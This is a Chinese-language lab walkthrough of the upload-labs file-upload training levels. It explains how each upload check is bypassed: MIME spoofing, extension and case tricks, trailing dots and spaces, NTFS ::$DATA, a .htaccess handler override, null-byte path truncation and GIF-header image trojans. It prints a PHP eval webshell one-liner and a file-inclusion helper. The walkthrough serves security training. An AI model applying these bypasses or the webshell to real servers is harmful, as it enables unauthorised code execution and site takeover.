Pass-1 js验证绕过
首先在开始之前我们需要在我们导入的upload-labs文件里面新建一个文件夹,方便我们上传php文件
?
打开第一关我们可以看见这个页面
?
我们将事先准好好的一句话木马文件传上去
可以看到提示,文件夹格式不正确
?
这时候我们要判断他判断文件代码后缀是在前段还是后端
我们可以查看第一关的文件代码,会发现有一个checkFile()函数,(在浏览器的元素审查中找文件上传的js代码可以看到)
这个函数就是检查文件后缀的,我们可以删除这个函数再上传可以成功。(这里不演示了)
给大家演示一下另一种方法,就是用burp抓包
- 先将文件后缀修改成可以传入的格式。
- 然后点击上传,抓包,在burp里面修改文件后缀名。
- 上传成功。
?
?
?
最后文件上传就可以成功了
用蚁剑或者其他工具连接上传的php文件就可以了。
?
到这里第一关就算完成。成功获得webshell。
(不会蚁剑的可以上网自己学一下)
Pass-2 MIME验证绕过
遇到的问题和上一关一样,无法直接上传
我们查看源码,
s_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
????if (file_exists($UPLOAD_ADDR)) {
????????if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
????????????if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
????????????????$img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
????????????????$is_upload = true;
????????????}
????????} else {
????????????$msg = '文件类型不正确,请重新上传!';
????????}
????} else {
????????$msg = $UPLOAD_ADDR.'文件夹不存在,请手工创建!';
????}
}
可以发现他只对content-type进行判断,我们就可以利用burp抓包对content-type进行修改
?
只需要对这个格式判断进行修改,改成满足条件的image/jpeg就可以了
?
上传成功,获取webshell
Pass-3黑名单绕过
第三关一样的先看源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
????if (file_exists($UPLOAD_ADDR)) {
????????$deny_ext = array('.asp','.aspx','.php','.jsp');
????????$file_name = trim($_FILES['upload_file']['name']);
????????$file_name = deldot($file_name);//删除文件名末尾的点
????????$file_ext = strrchr($file_name, '.');
????????$file_ext = strtolower($file_ext); //转换为小写
????????$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
????????$file_ext = trim($file_ext); //收尾去空
????????if(!in_array($file_ext, $deny_ext)) {
????????????if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR. '/' . $_FILES['upload_file']['name'])) {
?????????????????$img_path = $UPLOAD_ADDR .'/'. $_FILES['upload_file']['name'];
?????????????????$is_upload = true;
????????????}
????????} else {
????????????$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
????????}
????} else {
????????$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
????}
}
可以看到这一关是不允许上传.asp,.aspx,.php,.jsp后缀文件
索然做了黑名单验证,但是我们可以通过其他形式绕过,比如.php、.phtml、.phps、.php5、.pht等类似的格式来绕过。
我们这里利用burp抓包对filename="3.php"进行修改
改为filename="3.php3"
?
这样就可以上传成功
但是成功以后.php3的后缀无法与工具实现连接
我们还需在Apache的httpd.conf中配置以下的代码
AddType application/x-httpd-php .php .phtml .phps .php5 .pht .php3
Pass-4.htaccess绕过
如表题所说,我们需要先了解一下htaccess文件
htaccess
??
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
本关禁止上传.php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf等后缀文件
但是他没有禁止.htaccess文件,我们就可以利用htaccess文件来工作
先写一个.htaccess文件
<FilesMatch "4.jpg(即将上传的文件名)">
SetHandler application/x-httpd-php
</FilesMatch>
这段话的意思就是不管文件是什么样子,只要包含4.jpg就会被看做php文件来执行。
?
上传成功,我们再上传图片木马即可
可以测试一下,看是否连接成功
Pass-5大小写绕过
先查看提示和网页源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
????if (file_exists($UPLOAD_ADDR)) {
????????$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
????????$file_name = trim($_FILES['upload_file']['name']);
????????$file_name = deldot($file_name);//删除文件名末尾的点
????????$file_ext = strrchr($file_name, '.');
????????$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
????????$file_ext = trim($file_ext); //首尾去空
????????if (!in_array($file_ext, $deny_ext)) {
????????????if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
????????????????$img_path = $UPLOAD_ADDR . '/' . $file_name;
????????????????$is_upload = true;
????????????}
????????} else {
????????????$msg = '此文件不允许上传';
????????}
????} else {
????????$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
????}
}
这一关和上一关差不多,只不过这一关加上了对.htaccess的禁止,但是没有将后缀进行大小写统一
我们用burp抓包将filename="5.php"改为filename="5.PHP"就可以了
?
?
上传成功
Pass-6空格绕过
?
看完提示发现和源码,可以看到上面的方法都不可行
这时候就需要普及一个知识:Win下xx.jpg空格和xx.jpg.两种文件是不被允许存在的,要是这样命名文件,windows系统会默认删除空格或者.
在这里系统默认删除的的文件中的.
所以我们用burp抓包将filename="6.php"改为filename="6.php "(6.php空格)
?
Pass-7 点绕过
?
s_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
????if (file_exists($UPLOAD_ADDR)) {
????????$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
????????$file_name = trim($_FILES['upload_file']['name']);
????????$file_ext = strrchr($file_name, '.');
????????$file_ext = strtolower($file_ext); //转换为小写
????????$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
????????$file_ext = trim($file_ext); //首尾去空
????????
????????if (!in_array($file_ext, $deny_ext)) {
????????????if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
????????????????$img_path = $UPLOAD_ADDR . '/' . $file_name;
????????????????$is_upload = true;
????????????}
????????} else {
????????????$msg = '此文件不允许上传';
????????}
????} else {
????????$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
????}
分析代码,有去空格和所以黑名单,但是没有去点。
我们只需要利用burp抓包加个点即可
?
这里加个点就好。
Pass-8 ::$DATA绕过
?源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
分析源码可知,之前所有的点这关都有防范
NTFS文件系统包括对备用数据流的支持。这不是众所周知的功能,主要包括提供与Macintosh文件系统中的文件的兼容性。备用数据流允许文件包含多个数据流。每个文件至少有一个数据流。在Windows中,此默认数据流称为:$ DATA。
本关中的黑名单没有去处后缀名中的“::$DATA”
利用burp抓包,在文件后缀处加上::$DATA
?
本关结束
Pass-9 .空格.绕过
本pass只允许上传.jpg|.png|.gif后缀的文件!
源码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = "上传失败";
}
}
else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
我们可以看到这关和上一关基本相似,只不过save_path变成了POST
我们仍然使用上一关一样的原理
而在POST数据里面,由于POST里面的数据不会被url自动解码,所以要稍微改变一下
?
对这两处进行修改
后缀名改为jpg
我们先给做个标记,我这里使用+
?任何修改+的值改为00
?
Burp版本不一样改的地方也不一样,不一样的可以自己上网百度
任何就可以上传成功
Pass-13图片木马绕过
本pass检查图标内容开头2个字节!
查看源码
function getReailFileType($filename){
????$file = fopen($filename, "rb");
????$bin = fread($file, 2); //只读2字节
????fclose($file);
????$strInfo = @unpack("C2chars", $bin); ???
????$typeCode = intval($strInfo['chars1'].$strInfo['chars2']); ???
????$fileType = ''; ???
????switch($typeCode){ ?????
????????case 255216: ???????????
????????????$fileType = 'jpg';
????????????break;
????????case 13780: ???????????
????????????$fileType = 'png';
????????????break; ???????
????????case 7173: ???????????
????????????$fileType = 'gif';
????????????break;
????????default: ???????????
????????????$fileType = 'unknown';
????????} ???
????????return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
????$temp_file = $_FILES['upload_file']['tmp_name'];
????$file_type = getReailFileType($temp_file);
????if($file_type == 'unknown'){
????????$msg = "文件未知,上传失败!";
????}else{
????????$img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$file_type;
????????if(move_uploaded_file($temp_file,$img_path)){
????????????$is_upload = true;
????????}
????????else{
????????????$msg = "上传失败";
????????}
????}
}
本关比较复杂
先写一个php文件放在源文件里面
?
##include.php
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>
然后需要做一个图片码,自己制作也行也可以直接写
直接写就是
GIF 89A
???<?php @eval($_POST['pass']);?>
的php文件
然后直接将图片码上传即可
然后用工具连接的时候需要用我们刚开始写的php文件解析一下
简单来说就是访问图片的时候需要这样子访问
upload/include.php?file=upload/图片名称
然后就可以用工具连接,不然会报错连接不成功
Pass-14 getimagesize(突破)
本关和上一关差不多
看源码
function isImage($filename){
????$types = '.jpeg|.png|.gif';
????if(file_exists($filename)){
????????$info = getimagesize($filename);
????????$ext = image_type_to_extension($info[2]);
????????if(stripos($types,$ext)){
????????????return $ext;
????????}else{
????????????return false;
????????}
????}else{
????????return false;
????}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
????$temp_file = $_FILES['upload_file']['tmp_name'];
????$res = isImage($temp_file);
????if(!$res){
????????$msg = "文件未知,上传失败!";
????}else{
????????$img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").$res;
????????if(move_uploaded_file($temp_file,$img_path)){
????????????$is_upload = true;
????????}
????????else{
????????????$msg = "上传失败";
????????}
????}
}
这一关是用getimagesize函数来判断文件类型,但是还是可以用图片码绕过
13关同样的方放也可以绕过
Pass15 exif_imagetype()突破
???本pass使用exif_imagetype()检查是否为图片文件!
查看源码
function isImage($filename){
????//需要开启php_exif模块
????$image_type = exif_imagetype($filename);
????switch ($image_type) {
????????case IMAGETYPE_GIF:
????????????return "gif";
????????????break;
????????case IMAGETYPE_JPEG:
????????????return "jpg";
????????????break;
????????case IMAGETYPE_PNG:
????????????return "png";
????????????break; ???
????????default:
????????????return false;
????????????break;
????}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
????$temp_file = $_FILES['upload_file']['tmp_name'];
????$res = isImage($temp_file);
????if(!$res){
????????$msg = "文件未知,上传失败!";
????}else{
????????$img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$res;
????????if(move_uploaded_file($temp_file,$img_path)){
????????????$is_upload = true;
????????}
????????else{
????????????$msg = "上传失败";
????????}
????}
}
我们分析源码,
第1行检测$fileext和$filetype是否为gif格式。
然后3行使用move_uploaded_file函数来做判断条件,如果成功将文件移动到$target_path,就会进入二次渲染的代码,反之上传失败。
看到了exif_imagetype,利用php_exif来判断文件类型,用图片马绕过,方法同PASS-13
Pass16 图片渲染
这一关是二次渲染,我们刚开始上传的图片会被渲染,导致原有的属性被改变,我们首先上传一张gif的图片
存到其他地方(这时的图片已经被渲染了)可以用它去制作图片马来进行上传。
|